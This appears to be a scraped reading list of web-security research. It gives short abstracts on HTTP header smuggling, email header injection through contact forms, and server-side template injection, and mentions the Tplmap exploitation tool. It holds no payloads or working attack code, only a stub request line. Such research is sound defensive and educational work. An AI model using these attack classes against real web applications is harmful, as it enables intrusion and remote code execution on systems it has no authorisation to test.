https://www.intruder.io/research/practical-http-header-smuggling
<br># Modern web applications typically rely on chains of multiple servers, which forward HTTP requests to one another. The attack surface created by this forwarding is increasingly receiving more attention, including the recent popularisation of cache poisoning and request smuggling vulnerabilities. Much of this exploration, especially recent request smuggling research, has developed new ways to hide HTTP request headers from some servers in the chain while keeping them visible to others – a technique known as "header smuggling". This paper presents a new technique for identifying header smuggling and demonstrates how header smuggling can lead to cache poisoning, IP restriction bypasses, and request smuggling.

https://www.acunetix.com/blog/articles/email-header-injection/
<br># It is common practice for web pages and web applications to implement contact forms, which in turn send email messages to the intended recipients. Most of the time, such contact forms set headers. These headers are interpreted by the email library on the web server and turned into resulting SMTP commands, which are then processed by the SMTP server.
<br>```POST /contact.php HTTP/1.1```
<br>```Host: www.example2.com```

<br># Template Injections (SSTI) in 10 minutes

https://portswigger.net/research/server-side-template-injection
<br># Template engines are widely used by web applications to present dynamic data via web pages and emails. Unsafely embedding user input in templates enables Server-Side Template Injection, a frequently critical vulnerability that is extremely easy to mistake for Cross-Site Scripting (XSS), or miss entirely. Unlike XSS, Template Injection can be used to directly attack web servers' internals and often obtain Remote Code Execution (RCE), turning every vulnerable application into a potential pivot point.

<br># Tplmap assists the exploitation of Code Injection and Server-Side Template Injection vulnerabilities with a number of sandbox escape techniques to get access to the underlying operating system.
